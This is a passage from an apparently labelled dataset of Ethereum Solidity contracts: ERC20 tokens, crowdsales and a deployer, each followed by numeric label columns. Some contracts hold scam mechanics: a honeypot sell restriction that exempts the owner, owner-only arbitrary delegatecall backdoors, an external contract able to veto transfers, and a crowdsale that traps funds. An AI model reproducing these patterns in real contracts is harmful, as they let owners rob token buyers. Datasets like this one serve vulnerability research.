using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,401 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LockableChanges is Ownable {
bool public changesLocked;
modifier notLocked() {
require(!changesLocked);
_;
}
function lockChanges() public onlyOwner {
changesLocked = true;
}
}
contract GENSharesToken is StandardToken, Ownable {
using SafeMath for uint256;
event Mint(address indexed to, uint256 amount);
event MintFinished();
string public constant name = "GEN Shares";
string public constant symbol = "GEN";
uint32 public constant decimals = 18;
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgent) public {
require(saleAgent == msg.sender || owner == msg.sender);
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(!mintingFinished);
require(msg.sender == saleAgent);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public returns (bool) {
require(!mintingFinished);
require(msg.sender == owner || msg.sender == saleAgent);
mintingFinished = true;
MintFinished();
return true;
}
}
contract CommonCrowdsale is Ownable, LockableChanges {
using SafeMath for uint256;
uint public constant PERCENT_RATE = 100;
uint public price;
uint public minInvestedLimit;
uint public hardcap;
uint public start;
uint public end;
uint public invested;
uint public minted;
address public wallet;
address public bountyTokensWallet;
address public devTokensWallet;
address public advisorsTokensWallet;
uint public bountyTokensPercent;
uint public devTokensPercent;
uint public advisorsTokensPercent;
struct Bonus {
uint periodInDays;
uint bonus;
}
Bonus[] public bonuses;
GENSharesToken public token;
modifier saleIsOn() {
require(msg.value >= minInvestedLimit && now >= start && now < end && invested < hardcap);
_;
}
function setHardcap(uint newHardcap) public onlyOwner notLocked {
hardcap = newHardcap;
}
function setStart(uint newStart) public onlyOwner notLocked {
start = newStart;
}
function setBountyTokensPercent(uint newBountyTokensPercent) public onlyOwner notLocked {
bountyTokensPercent = newBountyTokensPercent;
}
function setAdvisorsTokensPercent(uint newAdvisorsTokensPercent) public onlyOwner notLocked {
advisorsTokensPercent = newAdvisorsTokensPercent;
}
function setDevTokensPercent(uint newDevTokensPercent) public onlyOwner notLocked {
devTokensPercent = newDevTokensPercent;
}
function setBountyTokensWallet(address newBountyTokensWallet) public onlyOwner notLocked {
bountyTokensWallet = newBountyTokensWallet;
}
function setAdvisorsTokensWallet(address newAdvisorsTokensWallet) public onlyOwner notLocked {
advisorsTokensWallet = newAdvisorsTokensWallet;
}
function setDevTokensWallet(address newDevTokensWallet) public onlyOwner notLocked {
devTokensWallet = newDevTokensWallet;
}
function setEnd(uint newEnd) public onlyOwner notLocked {
require(start < newEnd);
end = newEnd;
}
function setToken(address newToken) public onlyOwner notLocked {
token = GENSharesToken(newToken);
}
function setWallet(address newWallet) public onlyOwner notLocked {
wallet = newWallet;
}
function setPrice(uint newPrice) public onlyOwner notLocked {
price = newPrice;
}
function setMinInvestedLimit(uint newMinInvestedLimit) public onlyOwner notLocked {
minInvestedLimit = newMinInvestedLimit;
}
function bonusesCount() public constant returns(uint) {
return bonuses.length;
}
function addBonus(uint limit, uint bonus) public onlyOwner notLocked {
bonuses.push(Bonus(limit, bonus));
}
function mintExtendedTokens() internal {
uint extendedTokensPercent = bountyTokensPercent.add(devTokensPercent).add(advisorsTokensPercent);
uint extendedTokens = minted.mul(extendedTokensPercent).div(PERCENT_RATE.sub(extendedTokensPercent));
uint summaryTokens = extendedTokens + minted;
uint bountyTokens = summaryTokens.mul(bountyTokensPercent).div(PERCENT_RATE);
mintAndSendTokens(bountyTokensWallet, bountyTokens);
uint advisorsTokens = summaryTokens.mul(advisorsTokensPercent).div(PERCENT_RATE);
mintAndSendTokens(advisorsTokensWallet, advisorsTokens);
uint devTokens = summaryTokens.sub(advisorsTokens).sub(bountyTokens);
mintAndSendTokens(devTokensWallet, devTokens);
}
function mintAndSendTokens(address to, uint amount) internal {
token.mint(to, amount);
minted = minted.add(amount);
}
function calculateAndTransferTokens() internal {
invested = invested.add(msg.value);
uint tokens = msg.value.mul(price).div(1 ether);
uint bonus = getBonus();
if(bonus > 0) {
tokens = tokens.add(tokens.mul(bonus).div(100));
}
mintAndSendTokens(msg.sender, tokens);
}
function getBonus() public constant returns(uint) {
uint prevTimeLimit = start;
for (uint i = 0; i < bonuses.length; i++) {
Bonus storage bonus = bonuses[i];
prevTimeLimit += bonus.periodInDays * 1 days;
if (now < prevTimeLimit)
return bonus.bonus;
}
return 0;
}
function createTokens() public payable;
function() external payable {
createTokens();
}
function retrieveTokens(address anotherToken) public onlyOwner {
ERC20 alienToken = ERC20(anotherToken);
alienToken.transfer(wallet, token.balanceOf(this));
}
}
contract Presale is CommonCrowdsale {
uint public devLimit;
uint public softcap;
bool public refundOn;
bool public softcapAchieved;
bool public devWithdrawn;
address public devWallet;
address public nextSaleAgent;
mapping (address => uint) public balances;
function setNextSaleAgent(address newNextSaleAgent) public onlyOwner notLocked {
nextSaleAgent = newNextSaleAgent;
}
function setSoftcap(uint newSoftcap) public onlyOwner notLocked {
softcap = newSoftcap;
}
function setDevWallet(address newDevWallet) public onlyOwner notLocked {
devWallet = newDevWallet;
}
function setDevLimit(uint newDevLimit) public onlyOwner notLocked {
devLimit = newDevLimit;
}
function refund() public {
require(now > start && refundOn && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function createTokens() public payable saleIsOn {
balances[msg.sender] = balances[msg.sender].add(msg.value);
calculateAndTransferTokens();
if(!softcapAchieved && invested >= softcap) {
softcapAchieved = true;
}
}
function widthrawDev() public {
require(softcapAchieved);
require(devWallet == msg.sender || owner == msg.sender);
if(!devWithdrawn) {
devWithdrawn = true;
devWallet.transfer(devLimit);
}
}
function widthraw() public {
require(softcapAchieved);
require(owner == msg.sender);
widthrawDev();
wallet.transfer(this.balance);
}
function finishMinting() public onlyOwner {
if(!softcapAchieved) {
refundOn = true;
token.finishMinting();
} else {
mintExtendedTokens();
token.setSaleAgent(nextSaleAgent);
}
}
}
contract ICO is CommonCrowdsale {
function finishMinting() public onlyOwner {
mintExtendedTokens();
token.finishMinting();
}
function createTokens() public payable saleIsOn {
calculateAndTransferTokens();
wallet.transfer(msg.value);
}
}
contract Deployer is Ownable {
Presale public presale;
ICO public ico;
GENSharesToken public token;
function deploy() public onlyOwner {
owner = 0x379264aF7df7CF8141a23bC989aa44266DDD2c62;
token = new GENSharesToken();
presale = new Presale();
presale.setToken(token);
token.setSaleAgent(presale);
presale.setMinInvestedLimit(40000000000000000000);
presale.setPrice(250000000000000000000);
presale.setBountyTokensPercent(4);
presale.setAdvisorsTokensPercent(2);
presale.setDevTokensPercent(10);
presale.setSoftcap(40000000000000000000);
presale.setHardcap(50000000000000000000000);
presale.addBonus(7,50);
presale.addBonus(7,40);
presale.addBonus(100,35);
presale.setStart(1511571600);
presale.setEnd(1514156400);
presale.setDevLimit(6000000000000000000);
presale.setWallet(0x4bB656423f5476FeC4AA729aB7B4EE0fc4d0B314);
presale.setBountyTokensWallet(0xcACBE5d8Fb017407907026804Fe8BE64B08511f4);
presale.setDevTokensWallet(0xa20C62282bEC52F9dA240dB8cFFc5B2fc8586652);
presale.setAdvisorsTokensWallet(0xD3D85a495c7E25eAd39793F959d04ACcDf87e01b);
presale.setDevWallet(0xEA15Adb66DC92a4BbCcC8Bf32fd25E2e86a2A770);
ico = new ICO();
ico.setToken(token);
presale.setNextSaleAgent(ico);
ico.setMinInvestedLimit(100000000000000000);
ico.setPrice(250000000000000000000);
ico.setBountyTokensPercent(4);
ico.setAdvisorsTokensPercent(2);
ico.setDevTokensPercent(10);
ico.setHardcap(206000000000000000000000);
ico.addBonus(7,25);
ico.addBonus(7,10);
ico.setStart(1514163600);
ico.setEnd(1517356800);
ico.setWallet(0x65954fb8f45b40c9A60dffF3c8f4F39839Bf3596);
ico.setBountyTokensWallet(0x6b9f45A54cDe417640f7D49D13451D7e2e9b8918);
ico.setDevTokensWallet(0x55A9E5b55F067078E045c72088C3888Bbcd9a64b);
ico.setAdvisorsTokensWallet(0x3e11Ff0BDd160C1D85cdf04e012eA9286ae1A964);
presale.lockChanges();
ico.lockChanges();
presale.transferOwnership(owner);
ico.transferOwnership(owner);
token.transferOwnership(owner);
}
} | 1 | 2,910 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract PicipoToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "PICIPO";
string public symbol = "PICIPO";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wBNB, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _toAddresses, uint amount) public {
require(msg.sender == owner);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = amount;
emit Transfer(address(0x0), _toAddresses[i], amount);
}
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 408 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract PornTokenV2Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint private currentBalance;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
function PornTokenV2Crowdsale(
address sendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
address addressOfTokenUsedAsReward
) {
beneficiary = sendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = 13370000000000;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
if (beneficiary == msg.sender && currentBalance > 0) {
currentBalance = 0;
beneficiary.send(currentBalance);
} else if (amount > 0) {
balanceOf[msg.sender] += amount;
amountRaised += amount;
currentBalance += amount;
tokenReward.transfer(msg.sender, (amount / price) * 1 ether);
}
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
}
} | 0 | 170 |
pragma solidity ^0.4.16;
contract CentraSale {
using SafeMath for uint;
address public contract_address = 0x96a65609a7b84e8842732deb08f56c3e21ac6f8a;
address public owner;
uint public cap;
uint public constant cap_max = 170000*10**18;
uint public constant min_value = 10**18*1/10;
uint public operation;
mapping(uint => address) public operation_address;
mapping(uint => uint) public operation_amount;
uint256 public constant token_price = 10**18*1/200;
uint256 public tokens_total;
uint public constant contract_start = 1505844000;
uint public constant contract_finish = 1507269600;
uint public constant card_titanium_minamount = 500*10**18;
uint public constant card_titanium_first = 200000;
mapping(address => uint) cards_titanium_check;
address[] public cards_titanium;
uint public constant card_black_minamount = 100*10**18;
uint public constant card_black_first = 500000;
mapping(address => uint) public cards_black_check;
address[] public cards_black;
uint public constant card_metal_minamount = 40*10**18;
uint public constant card_metal_first = 750000;
mapping(address => uint) cards_metal_check;
address[] public cards_metal;
uint public constant card_gold_minamount = 30*10**18;
uint public constant card_gold_first = 1000000;
mapping(address => uint) cards_gold_check;
address[] public cards_gold;
uint public constant card_blue_minamount = 5/10*10**18;
uint public constant card_blue_first = 100000000;
mapping(address => uint) cards_blue_check;
address[] public cards_blue;
uint public constant card_start_minamount = 1/10*10**18;
uint public constant card_start_first = 100000000;
mapping(address => uint) cards_start_check;
address[] public cards_start;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraSale() {
owner = msg.sender;
operation = 0;
cap = 0;
}
function() payable {
if(!(msg.value >= min_value)) throw;
if(now < contract_start) throw;
if(now > contract_finish) throw;
tokens_total = msg.value*10**18/token_price;
if(!(tokens_total > 0)) throw;
if(!contract_transfer(tokens_total)) throw;
cap = cap.add(msg.value);
operations();
get_card();
owner.send(this.balance);
}
function contract_transfer(uint _amount) private returns (bool) {
if(!contract_address.call(bytes4(sha3("transfer(address,uint256)")),msg.sender,_amount)) {
return false;
}
return true;
}
function operations() private returns (bool) {
operation_address[operation] = msg.sender;
operation_amount[operation] = msg.value;
operation = operation.add(1);
return true;
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
function cards_titanium_total() constant returns (uint) {
return cards_titanium.length;
}
function cards_black_total() constant returns (uint) {
return cards_black.length;
}
function cards_metal_total() constant returns (uint) {
return cards_metal.length;
}
function cards_gold_total() constant returns (uint) {
return cards_gold.length;
}
function cards_blue_total() constant returns (uint) {
return cards_blue.length;
}
function cards_start_total() constant returns (uint) {
return cards_start.length;
}
function get_card() private returns (bool) {
if((msg.value >= card_titanium_minamount)
&&(cards_titanium.length < card_titanium_first)
&&(cards_titanium_check[msg.sender] != 1)
) {
cards_titanium.push(msg.sender);
cards_titanium_check[msg.sender] = 1;
}
if((msg.value >= card_black_minamount)
&&(msg.value < card_titanium_minamount)
&&(cards_black.length < card_black_first)
&&(cards_black_check[msg.sender] != 1)
) {
cards_black.push(msg.sender);
cards_black_check[msg.sender] = 1;
}
if((msg.value >= card_metal_minamount)
&&(msg.value < card_black_minamount)
&&(cards_metal.length < card_metal_first)
&&(cards_metal_check[msg.sender] != 1)
) {
cards_metal.push(msg.sender);
cards_metal_check[msg.sender] = 1;
}
if((msg.value >= card_gold_minamount)
&&(msg.value < card_metal_minamount)
&&(cards_gold.length < card_gold_first)
&&(cards_gold_check[msg.sender] != 1)
) {
cards_gold.push(msg.sender);
cards_gold_check[msg.sender] = 1;
}
if((msg.value >= card_blue_minamount)
&&(msg.value < card_gold_minamount)
&&(cards_blue.length < card_blue_first)
&&(cards_blue_check[msg.sender] != 1)
) {
cards_blue.push(msg.sender);
cards_blue_check[msg.sender] = 1;
}
if((msg.value >= card_start_minamount)
&&(msg.value < card_blue_minamount)
&&(cards_start.length < card_start_first)
&&(cards_start_check[msg.sender] != 1)
) {
cards_start.push(msg.sender);
cards_start_check[msg.sender] = 1;
}
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 0 | 540 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
